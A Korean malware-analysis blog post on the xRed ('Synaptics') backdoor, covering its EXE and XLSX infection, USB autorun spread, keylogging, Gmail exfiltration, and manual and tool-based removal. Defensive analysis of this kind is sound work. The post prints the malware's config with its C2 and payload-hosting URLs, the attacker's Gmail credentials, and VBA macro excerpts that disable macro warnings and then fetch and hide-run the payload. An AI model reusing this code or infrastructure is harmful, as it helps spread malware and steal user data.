본문 바로가기

Reversing/Malware Analysis

[xRed Backdoor] 파일 감염과 USB 확산을 수행하는 악성코드

목차

 

1. 개요
   1.1) 공격 흐름
   1.2) 분석 파일 정보

2. 상세 분석
   2.1) FormCreate 루틴
   2.2) 관리자 실행 권한 확인
   2.3) 중복 프로세스 제거
   2.4) Windows 버전 확인
   2.5) ini 설정 파일 초기화
   2.6) 악성코드 디렉토리 생성 및 은폐
   2.7) 지속 메커니즘 등록
   2.8) 관리자 권한으로 재실행
   2.9) 감염 전 후 저장된 파일 변화
   2.10) 실행 파일 감염 루틴
   2.11) 감염된 실행 파일 분석
   2.12) SSL 통신에 필요한 라이브러리 다운로드 및 로드
   2.13) 백도어 기능 - 원격 명령 처리
   2.14) USB 확산 기능 - autorun.inf
   2.15) 키로깅 기능 - Synaptics.dll
   2.16) 공격자 이메일로 자동 전송
   2.17) 자동 업데이트
   2.18) xlsx 파일 감염 루틴
   2.19) 감염된 xlsm 파일 분석

3. 악성코드 특징 및 설계 결함
   3.1) 악성코드 최초 유포지 확인
   3.2) 실행 파일 감염 대상
   3.2) 아이콘이 강제 변경되는 원본 파일
   3.3) 런타임 예외 발생

4. 악성코드 제거 방법
   4.1) 수동 제거 방법
   4.2) 자동 제거 복구 툴 사용

5. 결론

 

 

※ 필요한 자료를 GitHub에 업로드하였으며, 아래 링크를 통해 다운로드할 수 있습니다.

  1. 시냅틱스 바이러스 제거기
    https://github.com/zer0f1ag/Synaptics-Killer

 

 

 

 

1. 개요

 

일명 Synaptics 백도어 바이러스로 알려진 xRed Backdoor는 2019년경부터 활동이 관측된 악성코드로, 웜(Worm) 형태의 전파 방식을 가지고 있어 현재까지도 지속적으로 확산되고 있는 백도어 계열 멀웨어이다. Synaptics사의 노트북용 터치패드 드라이버 프로그램을 사칭하여 유포되는 것이 특징으로, 신뢰할 수 있는 공급업체의 합법적인 소프트웨어 설치 프로그램으로 위장해 사용자에게 유포된다.

 

실제로 ‘Synaptics 바이러스’라는 키워드로 검색해보면, 국내에서도 다수의 피해 사례가 보고된 바 있으며, 정식 드라이버 및 유틸리티 설치 과정에서 발생하는 감염이라는 점에서 사용자 신뢰를 악용한 위협 사례로 볼 수 있다.

 

그림1) synaptics 바이러스 검색 시 다수의 피해 사례 존재

 

 

1.1) 공격 흐름

그림2) xRed 공격 흐름

 

xRed Backdoor의 최초 유입 경로는 명확히 밝혀지지 않았으나, 감염이 이루어지면 자체 확산 기능을 수행한다. 감염 시 시스템 내 Download, Documents, Desktop 경로를 대상으로, 해당 경로에 존재하는 32비트 실행 파일(EXE)을 감염시켜 추가 전파를 시도한다. 또한 xlsx 확장자의 엑셀 파일이 존재할 경우, 악성 VBA 매크로 코드를 삽입한 뒤 xlsm 형식으로 덮어써 저장하여 문서 기반 확산을 수행한다.

 

USB 매체를 통한 확산 방식 역시 주목할 만하다. xRed는 USB 저장장치가 연결될 경우, 자동 실행을 담당하는 autorun.inf 파일을 변조하여 악성코드가 자동으로 실행되도록 구성한다. 다만 해당 autorun.inf 기반 실행 기능은 악용 사례가 증가함에 따라 Microsoft에서 Windows 업데이트를 통해 기본적으로 비활성화하였다.

 

EXE 및 문서 파일 감염 방식의 가장 큰 위험성은, 사용자가 감염 사실을 인지하지 못한 채 해당 파일을 다른 사용자에게 공유하게 되어 추가 감염이 발생한다는 점이다. 또한 백신 프로그램을 통해 현재 실행 중인 악성코드를 제거하는 데 성공하더라도, 감염된 EXE 및 XLSX 파일이 시스템 내에 잔존 해있을 경우 재감염이 발생할 수 있다.

 

감염 이후 키로깅 및 백도어를 생성하며, 사용자 이름, MAC 주소, 시스템 식별자 등의 정보를 수집해 SMTP 프로토콜을 통해 외부로 전송한다.

 

 

1.2) 분석 파일 정보

File name Synaptics.exe
MD5 162BFE3F13A9C6D058CB08DB605B47D4
SHA-256 14487DF946BB1BFF496D5D595C4865CEBB03F9704C8769DAC000D18E8C7D92A8
File type Win32 EXE
File size 753.50 KB (771584 bytes)
First Submission 2018-03-27 09:16:12 UTC

 

그림3) 설치 파일로 위장되어 있는 악성코드

 

그림4) 리소스 영역에 파일 데이터 포함

 

해당 악성코드는 Windows 환경을 대상으로 제작된 32비트 실행 파일이며, Delphi로 개발된 악성코드임을 확인할 수 있다. 또한 파일의 리소스 데이터를 분석한 결과, 내부에 다수의 PE 및 ZIP 형태의 데이터가 포함되어 있으며, 제품명과 파일 설명을 “Synaptics Pointing Device Driver”로 설정하고, MSI 설치 파일에서 사용되는 아이콘(ICO)을 적용하여 외형상 정상적인 설치 프로그램으로 위장하고 있다.

 

2. 상세 분석

2.1) FormCreate 루틴

그림5) Delphi 기반 FormCreate 루틴

 

Delphi 기반 악성코드를 분석할 때는 FormCreate 루틴을 우선적으로 확인할 필요가 있다.

Delphi 애플리케이션은 실행 과정에서

 start
 Forms::TApplication::CreateForm
 Forms::TCustomForm::TCustomForm
 System::__linkproc__AfterConstruction
 Forms::TCustomForm::AfterConstruction
 TCustomForm::DoCreate
 TFormVir_FormCreate

 

와 같은 호출 흐름을 거치며, FormCreate 이벤트에서 사용자 정의 영역 코드가 실행된다.

 

 

2.2) 관리자 실행 권한 확인

그림6) 관리자 권한 실행 체크

 

OpenSCManagerA()를 호출하고, 그 반환 값을 기반으로 현재 프로세스가 관리자 권한으로 실행되고 있는지 여부를 확인한다. OpenSCManagerA()는 일반 사용자 권한으로 호출될 경우 NULL을 반환하기 때문에, 악성코드는 이를 권한 판별 로직으로 활용한다. 

 

2.3) 중복 프로세스 제거

그림7) 뮤텍스 생성 (중복 실행 방지)

 

CreateMutexA()를 호출하여 “Synaptics2X”라는 이름의 뮤텍스를 생성한다. 만약 동일한 뮤텍스가 이미 존재할 경우, 이는 이미 악성코드가 실행 중임을 의미하므로 프로세스를 종료하여 중복 실행을 방지한다. 

 

 

2.4) Windows 버전 확인

그림8) Windows 버전 체크

 

대상 시스템의 Windows 버전을 확인한 뒤, 운영체제 환경에 맞도록 악성 행위를 수행하도록 설계되어 있다. 확인되는 버전 목록에는 Windows 95, 98, ME, 2000, XP, Vista, 7, 8 등 비교적 구버전 Windows 환경만 포함되어 있다. 

 

2.5) ini 설정 파일 초기화

그림9) ini 설정 파일 초기화

 

내부에 하드코딩되어 있던 C2 IP, 포트, 통신 시간(ctime, ctimeout) 및 각종 기능 실행에 필요한 설정 값을 기반으로 INI 설정 파일을 생성하고 이를 로컬에 기록한다. 최신 설정을 반영하기 위해 SUpdate.ini 파일을 C2 서버로부터 수신하거나, 통신에 필요한 파일을 Google Docs, Dropbox 등 외부 파일 호스팅 서비스를 통해 다운로드하거나 정보 수집 후 데이터를 전송하기 위해 사용되는 공격자의 Gmail 주소가 설정 값 내에 포함되어 있는 것이 확인 되었다.

 

INI 파일 내 [ACTIVE] 섹션을 통해 각 기능의 활성화 여부를 제어하며, 키로깅, USB 감염, 디렉터리 감시, 자동 업데이트, 자동 메일 전송 등의 기능을 플래그 값으로 관리하는 구조를 가진다.

[SERVER]
IP1 = xred.mooo.com
IP2 = http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
IP3 = xred.mooo.com
PORT_0 = 1199
CTIME = 600
CTIMEOUT = 10

[DOWNLOAD]
INIURL1 = https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
INIURL2 = https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
INIURL3 = http://xred.site50.net/syn/SUpdate.ini

EXEURL1 = https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
EXEURL2 = https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
EXEURL3 = http://xred.site50.net/syn/Synaptics.rar

SSLURL1 = https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
SSLURL2 = https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
SSLURL3 = http://xred.site50.net/syn/SSLLibrary.dll

[GMAIL]
USERNAME = xredline2@gmail.com;xredline3@gmail.com
PASSWORD = xredline2**x;xredline3**x
SENDMAIL = xredline1@gmail.com

[ACTIVE]
FIRSTINJ = -1
AUTOUPDATE = -1
AUTOUPDATETIME = 3600
CLIENT = -1
USBHOOK = -1
DIRWATCHER = -1
KEYBOARDHOOK = -1
AUTOMAIL = -1
AUTOMAILTIME = 1800

[CLIENT]
AUTORUNINJ = 0
EXEINJ = -1
EXELINJ = -1

 

2.6) 악성코드 디렉토리 생성 및 은폐

그림10) 악성코드 저장 경로 은폐

 

ProgramData\Synaptics 경로에 디렉터리를 생성한 뒤, SetFileAttributesA()를 호출하여 해당 디렉터리를 은폐 처리한다. 설정된 속성 값 (0x6)HIDDEN(0x2)과 SYSTEM(0x4) 속성을 동시에 적용한 것으로, 이로 인해 해당 디렉터리는 단순히 숨김 파일로 처리되는 것보다 더 강하게 은닉된다.

 

해당 방식의 흥미로운 점은, 사용자가 Windows 탐색기에서 ‘숨김 항목 표시’ 옵션을 활성화하더라도 해당 폴더가 노출되지 않는다는 점이다.

그림11) 은폐된 디렉터리 강제 노출

 

attrib -h -s C:\ProgramData\Synaptics 명령을 실행함으로써 강제로 숨김(HIDDEN) 및 시스템(SYSTEM) 속성을 제거하여 확인할 수 있다. 이는 해당 폴더가 단순 숨김 속성뿐만 아니라 SYSTEM 속성(-s)이 함께 설정되어 있기 때문에, Windows 탐색기에서 숨김 항목 표시 옵션을 활성화하더라도 기본적으로 노출되지 않는 원리이다.

attrib -h -s C:\ProgramData\Synaptics

 

 

그림12) 악성코드 지정 경로 복사

 

현재 실행 중인 자신의 파일 경로를 획득한 뒤, 해당 실행 파일을 ProgramData\Synaptics\Synaptics.exe 경로로 복사한다.

 

그림13) 은폐된 Synaptics.exe 강제 노출

 

복사된 Synaptics.exeSetFileAttributesA() 호출을 통해 HIDDEN 및 SYSTEM 속성이 적용된 상태로 은폐한다.

attrib -h -s C:\ProgramData\Synaptics\Synaptics.exe

 

 

2.7) 지속 메커니즘 등록

그림14) 지속 메커니즘 등록

 

사용자 로그온 시마다 악성코드가 자동 실행되도록 지속성을 유지하기 위해HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 레지스트리 경로에 값을 등록한다.

 

등록되는 이름은 “Synaptics Pointing Device Driver”이며, 실행 데이터는 C:\ProgramData\Synaptics\Synaptics.exe 로 설정된다.

 

2.8) 관리자 권한으로 재실행

그림15) 관리자 권한으로 InjUpdate 파라미터를 포함하여 재실행

 

ShellExecuteExA()를 호출 해 자기 자신을 관리자 권한으로 재실행한다. 이 과정에서 lpVerb 값을 runas로 설정하고 lpParameters에는 InjUpdate 값을 전달하여, 권한 상승 후 실행되는 분기 루틴을 식별하도록 구성되어 있다.

 

그림16) 중복 프로세스 종료

 

InjUpdate 파라미터가 전달된 상태로 관리자 권한 재실행이 이루어지면, OpenMutexA()를 호출하여 “Synaptics2X” 뮤텍스의 존재 여부를 확인한다. 이후 TEMP 경로에 Synaptics.exe 파일이 존재하는지 검사하는데, 이는 이전 초기화 과정에서 이미 TEMP 디렉터리에 자신을 복사해 두었기 때문에, 현재 실행이 정상적인 재실행 루틴인지 여부를 식별하기 위한 검증 과정이다.

 

해당 조건들이 충족되면, InjUpdate 파라미터가 전달된 관리자 권한 프로세스만 단독으로 동작시키기 위해CreateToolhelp32Snapshot()를 이용해 사용자 권한으로 기존에 실행 중이던 프로세스를 탐색하고 종료한다.  

 

2.9) 감염 전 후 저장된 파일 변화

그림17) 감염 전 후 저장된 파일 크기 변화

 

xRed는 특정 디렉터리를 대상으로 존재하는 32비트 실행 파일(EXE)을 감염시킨다. 감염 전후의 파일을 비교한 결과, 악성 코드가 삽입되면서 파일 크기가 증가한 것을 확인할 수 있다.

 

그림18) 감염 전 후 저장된 파일 속성 변화

 

감염 이후 파일 속성을 확인한 결과, 정상적인 DiscordSetup 실행 파일이 변조되어, 파일 설명,파일 버전, 제품 이름, 제품 버전, 파일 크기, 언어 정보 등 주요 메타데이터가 변경되어 있다.

 

 

 

2.10) 실행 파일 감염 루틴

그림19) 특정 디렉터리를 대상으로 경로 수집 후 exe 탐색

 

C:\Users\...\Documents , C:\Users\...\Downloads , C:\Users\...\Desktop 등의 디렉터리를 대상으로 감염을 수행하기 위한 경로 목록을 수집한다.

 

그림20) exe 실행 파일 탐색 루틴

 

FindFirst()를 호출하여 대상 디렉터리에 .exe 파일의 존재 여부를 확인한 뒤, 파일이 존재할 경우 실행 파일 감염 루틴을 수행한다.

 

그림21) 파일 감염 진행 후 원본 경로에 복사
그림22) TEMP 경로에 파일 , ICO 추출 및 복사 후 원본 경로에 복사

 

악성코드는 원본 EXE 파일에 자기 자신의 악성 코드를 삽입한 뒤, 완성된 실행 파일을 TEMP 경로에 랜덤한 이름의 EXE 파일로 복사한다. 이후 대상 경로에서 수집한 원본 EXE의 아이콘(ICO)을 추출하여, 랜덤한 이름으로 TEMP 경로에 저장한다.

 

최종적으로 TEMP 경로에 생성된 감염된 실행 파일을 원본 EXE 경로로 다시 복사하여 기존 파일을 교체함으로써, 감염된 파일로 대체하는 작업을 수행한다.

그림23) TEMP 경로에 복사된 임시 파일 흔적 제거

 

DeleteFileA()를 호출하여 TEMP 경로에 생성된 EXE 및 ICO 파일을 삭제함으로써, 감염 과정에서 생성된 임시 파일 흔적을 제거한다.

 

그림24) 파일 감염 성공 및 실패 시 상태 메세지 기록
그림25) 파일 감염 성공 및 실패 상태 메세지 기록

 

파일 감염에 성공한 경우, 악성코드는 Completed -> <path> 형태의 상태 로그를 기록한다. 반대로 감염에 실패할 경우에는 Infected Canceled -> <path> 로그를 기록한다. 이러한 로그 데이터를 통해, 해당 악성코드가 32비트 바이너리로 제작되어 32비트 실행 파일에 대해서만 감염에 성공하며, 64비트 실행 파일을 대상으로는 감염에 실패한다는 점을 확인할 수 있다.

 

 

2.11) 감염된 실행 파일 분석

그림26) 파일 감염 후 변화된 파일 크기 및 속성
그림27) 파일 감염 후 변화된 HEX 데이터

 

감염된 파일을 Hex 뷰어로 확인한 결과, 오프셋 0x0부터 0xB3613까지는 악성코드 바이너리 영역으로 확인되었으며, 오프셋 0xB3614 이후에는 원본 실행 파일 바이너리가 저장되어 있는 구조를 확인할 수 있다. 또한 이후 추가적인 악성 행위를 수행하기 위한 DLL 및 XLSM 바이너리 데이터도 함께 포함되어 있는 것으로 확인된다.

 

즉, 파일의 시작 지점(0x0)이 악성코드 바이너리로 교체되는 방식으로 감염이 이루어지며, 이로 인해 전체 파일 크기 증가와 파일 속성(메타데이터) 변경이 발생하는 것을 확인할 수 있다.

 

그림28) 파일 감염 후 변경된 Entry Point

 

앞선 작업으로 인해 파일의 헤더 영역이 악성코드로 교체되면서, 실행 파일의 Entry Point가 변경된 것을 확인할 수 있다. 감염된 파일은 더 이상 원본 바이너리의 시작점에서 실행되지 않는다.

 

그림29) ._cache 원본 파일 복사

 

감염된 실행 파일이 실행되면, 악성코드는 FindResourceA()를 호출하여 EXEREESX 리소스를 탐색한다. 해당 리소스가 존재할 경우, EXEREESX 영역에 저장된 데이터를 추출하여 자기 자신 실행 파일의 원본 파일명을 확인한 뒤, 이를 기반으로 ._cache_ + <원본 파일명> 형태의 파일로 저장한다.

 

분석 결과, EXEREESX 리소스 영역에는 감염 이전의 원본 EXE 바이너리가 포함되어 있는 것을 확인할 수 있다.

 

그림30) ._cache 원본 파일 은폐 및 실행
그림31) ._cache 원본 파일 실행

 

생성된 ._cache_ + <원본 파일명> 실행 파일은 SetFileAttributesA() 함수를 통해 HIDDEN 및 SYSTEM 속성이 적용된 상태로 은폐된다.

 

이후 ShellExecuteA()를 호출하여 은폐된 ._cache_ + <원본 파일명> 파일을 실행하는 루틴을 확인할 수 있다.

이와 같은 구조를 통해, 악성코드는 자신의 악성 루틴을 먼저 수행한 뒤, ._cache_ 접두어가 붙은 원본 실행 파일을 재실행함으로써 사용자에게 정상적으로 프로그램이 실행된 것처럼 인식하도록 속인다.

 

 

2.12) SSL 통신에 필요한 라이브러리 다운로드 및 로드

그림32) ssllibrary 다운로드 및 초기화 과정

 

Google Docs, Dropbox, 그리고 자체 C2 서버 주소를 통해 암호화 통신에 필요한 SSLLibrary.dll(libeay32.dll, ssleay32.dll)을 다운로드한다. 이후 LoadLibraryA()를 호출하여 해당 라이브러리를 동적으로 로드한다.

 

 

2.13) 백도어 기능 - 원격 명령 처리

그림33) 원격 명령 처리 커맨드

 

해당 악성코드는 백도어 기능을 내장하고 있으며, 이를 활성화하여 C2 서버로부터 전달되는 원격 명령을 처리한다. 분석 결과, 다음과 같은 주요 원격 제어 명령이 존재하는 것을 확인할 수 있다.

 

  • GetCMDAccess
    감염된 시스템에서 명령 프롬프트에 대한 원격 접근 권한을 제공한다. 
  • GetScreenImage
    현재 사용자 화면을 스크린샷 이미지 형태로 캡처하여 공격자에게 전송한다.
  • ListDisk
    시스템에 연결된 드라이브 목록(C:, D:, USB 등)을 수집하여 공격자에게 전달한다. 
  • ListDir
    지정된 디렉터리 경로 내의 파일 및 폴더 목록을 열람하는 기능이다. 
  • DownloadFile
    감염된 시스템으로부터 지정된 파일을 공격자 측으로 전송하는 기능이다.
  • DeleteFile
    지정된 파일을 시스템에서 삭제하는 명령으로, 흔적 제거 또는 불필요한 파일 정리에 활용된다.

 

2.14) USB 확산 기능 - autorun.inf

그림34) usb 확산 autorun.inf 생성 루틴
그림35) 임시 경로로 사용되는 WS 디렉터리 생성

 

USB 드라이브가 삽입될 경우, 악성코드는 해당 매체 내에서 autorun.inf 파일을 탐색하고 아래와 같은 내용을 작성한다.

[autorun]
open=Synaptics.exe
shellexecute= Synaptics.exe

 

USB 매체가 연결될 때 악성코드가 자동 실행되도록 구성하여 USB 기반 확산을 시도한다. 다만 해당 autorun 기능은 최신 Windows 환경에서는 기본적으로 비활성화되어 있어 정상적으로 동작하지 않는다.

 

USB 확산 루틴에서 생성되는 WS 디렉터리는 작업 중간 단계 처리를 위한 임시 작업 공간으로 활용된다.

 

 

 

2.15) 키로깅 기능 - Synaptics.dll

그림36) PE 내부에 저장된 DLL 바이너리

 

그림37) Synaptics.dll 동적 로드

 

키로깅 기능을 활성화하기 위해, 악성코드는 내부에 포함된 리소스 데이터 KBHKS를 읽어 메모리에 로드한다.

해당 리소스 데이터는 DLL 형태의 바이너리이며, 이후 메모리 상에서 Synaptics.dll이라는 이름으로 로드되는 것을 확인할 수 있다.

 

해당 DLL의 export 함수에는 키보드 후킹을 설치 및 해제하는 데 사용되는 HookOn()과 HookOff() 함수가 포함되어 있는걸 확인 할 수 있다.

 

그림38) 키로깅 기능 활성화

 

HookOn() 함수는 내부적으로 SetWindowsHookExA()를 호출하며, 후킹 타입으로 WH_KEYBOARD_LL(5) 를 사용하여 시스템 전반의 키보드 입력 이벤트를 가로챈다. 

 

OpenFileMappingA()를 호출하여 “ElReceptor”라는 이름의 공유 메모리를 열고, MapViewOfFile()을 통해 메모리에 매핑한다. 이후 PostMessageA()를 통해 키보드 입력 정보를 전송한다.

 

2.16) 공격자 이메일로 자동 전송

그림39) 수집된 정보 공격자 이메일로 전송
그림40) TEMP 경로에 임시로 생성되는 파일

 

TEMP 경로에 랜덤한 이름의 INI 파일을 생성한 뒤, C2 서버로부터 최신 설정 INI 파일을 수신하여 해당 파일에 기록한다. 이후 수집된 정보를 SMTP(Gmail) 프로토콜을 통해 공격자의 Gmail 계정으로 전송한다.

 

전송되는 정보에는 컴퓨터 이름(ComputerName), NetBIOS 정보, 사용자 이름(Username) 등이 포함되며, 추가적으로 사용자 화면 스크린샷도 함께 전송된다. 이때 캡처된 이미지는 TEMP 경로에 랜덤한 이름의 JPG 파일로 저장된 후 전송된다.

 

SMTP 전송 대상 메일 주소는 다음과 같다.

  • xredline1@gmail.com
  • xredline2@gmail.com
  • xredline3@gmail.com

또한 설정 파일 내에는 SMTP 인증을 위한 계정 비밀번호 정보도 함께 포함되어 있으며, 다음과 같이 저장되어 있는 것을 확인할 수 있다.

  • xredline2**x
  • xredline3**x

 

2.17) 자동 업데이트

그림41) 자동 업데이트 루틴
그림42) 자동 업데이트 시 c2 url로 요청

 

  • 도메인: xred[.]mooo.com
  • DynDNS API: freedns[.]afraid.org
  • 포트: 1199
  • 접속 주기(CTIME): 600초
  • 타임아웃(CTIMOUT): 10초

해당 악성코드는 리소스 영역에 포함된 파일 버전 정보를 확인한 후, 일정 주기마다 C2 서버에 접속한다.
원격 서버의 파일 버전이 더 최신일 경우, 최신 실행 파일을 다운로드하여 지정된 경로에 기존 파일을 교체한 뒤 재실행하는 자기 업데이트 기능을 수행하는 것을 확인할 수 있다.

 

2.18) xlsx 파일 감염 루틴

그림43) xlsx 파일 감염

 

지정된 사용자 디렉터리인 C:\Users\...\Documents, C:\Users\...\Downloads, C:\Users\...\Desktop
경로를 대상으로 탐색을 수행하며, XLSX 형식의 Excel 문서가 존재할 경우 악성 매크로가 삽입된 XLSM 파일을 생성하여 문서를 변조한다.

그림44) xlsx -> xlsm 변조 과정

 

 

PE 파일의 RCDATA 리소스 영역에 포함된 XLSM 파일을 로드한 뒤, 내부에 저장된 vbaProject.bin을 삽입하는 과정을 수행한다. 이후 감염 확산을 위한 악성 매크로 코드를 포함하도록 Excel 문서를 변조하며, 최종적으로 감염된 매크로 문서를 XLSM 형식으로 생성한다. 생성된 악성 XLSM 파일은 TEMP 경로에 랜덤한 파일명으로 드롭된다.

 

그림45) 변조된 xlsm 파일 실행

 

TEMP 경로에 랜덤한 파일명으로 드롭된 악성 XLSM 파일은, 이후 원본 XLSX 파일이 존재하던 경로로 복사되어 정상 파일로 위장한다. C:\Users\...\Documents 경로에 존재하던 Sample1.xlsx 파일은 감염 이후 Sample1.xlsm으로 확장자가 변경되며, 악성 파일로 변조됨에 따라 파일 크기 또한 변경된 것을 확인할 수 있다.

 

감염이 성공적으로 완료될 경우, 악성코드는 생성된 XLSM 파일을 실행하고 추가적인 감염 행위를 수행한다.

 

2.19) 감염된 xlsm 파일 분석

그림46) 분해된 xlsm에서 발견되는 악성 매크로 코드

 

 

생성된 XLSM 파일을 분석한 결과, VBA 매크로 코드가 삽입된 악성 문서임을 확인할 수 있다.

Private Sub Workbook_Open()
  Dim i As Integer
  For i = 1 To ActiveWorkbook.Sheets.Count
    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
  Next i
  
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
  
  Application.DisplayAlerts = False
  SheetCount = Worksheets.Count
  
  Call MPS
  
  ActiveWorkbook.Sheets(1).Select
  SheetsChanged = False
End Sub

 

모든 시트를 강제로 표시 상태로 변경하고, Excel 및 Word의 매크로 보안 경고 레지스트리 값을 수정하여 사용자 경고 없이 매크로가 실행되도록 한다. 또한 엑셀 경고 메시지를 비활성화해 사용자 의심을 줄인다.

 

Sub SaveAsInj(DIR As String)
  Dim FSO As Object
  Dim FN As String
  
  Set FSO = CreateObject("scripting.filesystemobject")
  FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
  
  If FSO.FileExists(FN) Then
    If Not FSO.FileExists(DIR & "\~$cache1") Then
      FileCopy FN, DIR & "\~$cache1"
    End If
    SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
  End If
End Sub

 

시스템에 존재하는 악성 실행 파일(Synaptics.exe)을 지정된 디렉터리로 복사하여 확산을 시도한다. 대상 파일이 존재할 경우 ~$cache1이라는 이름으로 복사하며, 이후 Hidden 및 System 속성을 설정해 파일을 은폐한다. 

 

Set FSO = CreateObject("scripting.filesystemobject")
  FP(1) = ActiveWorkbook.Path & "\~$cache1"
  FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"

  URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  TMP = Environ("Temp") & "\~$cache1.exe"

 

Google Docs 및 Dropbox URL을 C2 대체 다운로드 경로로 설정하고, TEMP 디렉터리에 ~$cache1.exe 형태로 임시 실행 파일 경로를 구성한다. 

 

If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
  Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
  Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
  If FDW((URL(1)), (TMP)) Then
  ElseIf FDW((URL(2)), (TMP)) Then
  ElseIf FDW((URL(3)), (TMP)) Then
  End If
  If FSO.FileExists(TMP) Then
    Shell TMP, vbHide
  End If
Else
  Shell TMP, vbHide
End If

 

ALLUSERSPROFILE\Synaptics\Synaptics.exe 또는 System32\Synaptics\Synaptics.exe 경로에 악성 파일이 존재할 경우, 이를 사용자에게 보이지 않도록(vbHide)로 실행한다. 만약 해당 경로들에 파일이 존재하지 않으면, TEMP 경로에 지정된 임시 파일이 있는지 확인하고, 없을 경우 Google Docs 및 Dropbox URL을 통해 악성 실행 파일을 다운로드한다. 다운로드에 성공하면 TEMP 경로의 파일을 즉시 실행한다.

 

 

3. 악성코드 특징 및 설계 결함

3.1) 악성코드 최초 유포지 확인

그림47) 최초 유포지가 튀르키예로 추정되는 문자열

 

내부 문자열에서 ControlCenter -> Aktif, ControlCenter -> Pasif 값이 확인되는데, 이는 터키어에서 각각 Active, Passive를 의미한다. 또한 파일 속성 정보에서 언어 설정이 터키어로 지정되어 있는 점을 종합해 볼 때, 해당 악성코드는 터키(튀르키예)에서 최초 유포되었을 가능성이 높은 것으로 확인된다.

 

3.2) 실행 파일 감염 대상

그림48) 32비트 대상 파일만 감염

 

EXE 감염 과정에서 32비트 실행 파일에 대해서만 감염이 성공하며, 64비트 실행 파일에 대해서는 감염이 실패하는 것을 확인할 수 있었다. 이는 해당 악성코드가 32비트 바이너리 기반으로 개발되어, 64비트 실행 파일 구조를 정상적으로 처리하지 못하기 때문으로 판단된다.

 

3.2) 아이콘이 강제 변경되는 원본 파일

그림49) 설치 ico으로 변경된 원본 파일

 

EXE 파일 감염 과정에서, 악성코드는 원본 EXE의 ICO 아이콘을 추출하여 감염된 파일에 적용한다. 그러나 원본 EXE에 ICO가 없는 경우에는 악성코드의 아이콘이 적용되는 것을 확인할 수 있다.

 

이로 인해 일부 아이콘이 없는 실행 파일은 갑자기 설치용 아이콘으로 변경되어 사용자에게 이상 징후를 보여주게 된다. 본래 악성코드는 사용자가 인지하지 못하도록 은닉 상태에서 동작하는 것이 목적이나, 개발자가 ICO 부재 시 대체 아이콘 처리 루틴을 구현하지 않아 이러한 문제가 발생한 것으로 판단된다.

 

3.3) 런타임 예외 발생

그림50) 런타임 예외 발생

 

무리하게 파일 감염을 수행하여 동작되는 악성코드 특성상 런타임에서 예기치 않은 예외가 발생할 수 있으며, 분석 과정에서 예외 코드 0x0EEDFADE가 발생한 사례를 확인할 수 있었다.

 

이로 인해 실행 중이던 악성코드 프로세스가 비정상 종료되어 C2 서버와의 지속적인 통신을 유지하지 못하게 되며, 동시에 사용자가 오류 메시지를 직접 확인함으로써 악성코드가 사용자에게 노출될 가능성이 존재한다.

 

 

 

4. 악성코드 제거 방법

4.1) 수동 제거 방법

시냅틱스(xRed) 바이러스 감염 시 수동으로 제거하는 방법을 설명한다. 해당 내용은 악성코드 분석을 통해 확인된 실제 동작 흐름과 특성을 바탕으로 구성하였다.

 

그림51) 은폐된 시냅틱스 바이러스 강제 노출

 

폴더 및 검색 옵션에서 보호된 운영 체제 파일 숨기기 옵션을 해제하면, 시냅틱스 바이러스가 설치된 경로인
C:\ProgramData\Synaptics 디렉터리가 노출된다. 해당 경로에 존재하는 파일들을 확인한 후 관련 악성 파일을 모두 제거할 수 있다.

 

그림52) Everything으로 감염된 실행 파일 및 엑셀 파일 기록 추적

 

Everything 프로그램을 활용하면 최초 악성코드 실행 시점을 기준으로 접근·생성된 EXE 목록을 확인할 수 있다. 이때 확인된 감염된 EXE 및 XLSM 파일을 모두 삭제해야 하며, 이를 제거하지 않을 경우 재실행을 통해 추가 감염으로 이어질 수 있다.

 

그림53) 레지스트리 검색 후 제거

 

레지스트리 편집기(regedit)를 실행한 후 찾기 기능을 사용하여 Synaptics Pointing Device Driver 문자열을 검색한다. 검색 결과로 노출되는 관련 레지스트리 항목을 모두 삭제하여 자동 실행 및 잔여 흔적을 제거한다.

 

 

 

4.2) 자동 제거 복구 툴 사용

그림54) 시냅틱스 바이러스 제거 및 자동 복구 도구

 

수동으로 치료할 경우, 감염된 EXE나 XLSM 파일을 모두 삭제해야 하기 때문에 중요한 자료가 포함된 경우에는 효율적이지 않다. 또한 삭제 과정에서 일부 파일이 누락되면 재감염으로 이어질 가능성도 존재한다. 이러한 문제를 해결하기 위해서악성 파일은 제거하되, 감염된 파일은 원본 상태로 복구할 수 있는 방법이 필요하다.

 

이에 필자는 시냅틱스 바이러스의 원본 바이너리 추출 메커니즘을 분석하여, 파일을 복구할 수 있는 전용 도구를 개발하여 Github에 업로드하였다. 따라서 이와 같은 자동화 도구를 활용하는 것이 수동 제거 방법 보다 안전하고 효율적인 방법이 될 수 있다.

 

※ 시냅틱스 바이러스 치료기

https://github.com/zer0f1ag/Synaptics-Killer

 

 

 

5. 결론

